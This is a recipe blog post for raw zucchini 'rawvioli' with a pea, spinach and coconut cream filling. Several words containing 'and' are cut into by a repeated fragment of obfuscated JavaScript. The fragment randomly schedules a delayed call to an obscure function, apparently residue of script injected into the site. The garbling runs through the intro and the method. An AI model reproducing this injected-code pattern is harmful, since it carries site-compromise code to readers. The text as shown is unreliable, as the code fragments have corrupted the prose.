When Erika andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and Grigino have guests at the cottage, it’s always a time for celebration! Whether is for chilling out, having a good laugh or a nostalgic mood, good food is healing for the soul. Especially this raw version of traditional ravioli that Erika made for a very handom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andsome cartoonist!




  • 2 round medium size zucchini (adjust depending how hungry you are!)
  • 2 strips of celery
  • 1 cup of fresh sweet peas (or defrosted from frozen)
  • 1 cup of fresh spinach leaves
  • 8 oz of 100% pure organic coconut cream
  • Fresh rosemary or basil
  • ½ lemon
  • ½ teaspoon of cumin
  • ½ teaspoon of pink himalayan salt (optional)




First make your rawvioli by thinly slicing your zucchini with a mandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andolin (about IMG_20170213_172450[1907]0,10 inch). Set aside in a bowl with 1/2 of one lemon juice for softening . In the meantime prepare your filling. In a food processor blend together the rest of your ingredients but use only 1/3 of your coconut cream. Once you reach a chunky (but not soggy) consistency start creating your rawvioli: Fill each zucchini slice with a teaspoon of your filling, then seal the edges so to make a “half moon” shape as in the picture. Do not over stuff the rawvioli or you wont be able to close them. Place everything directly in your serving dish, as they may be break easily. Once you’re done, pour over your remaining coconut cream with some extra fresh herbs andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and lemon drops for a perfect touch!



I’m sure this recipe will be your new favorite for a while…the cartoonist was definitely hooked!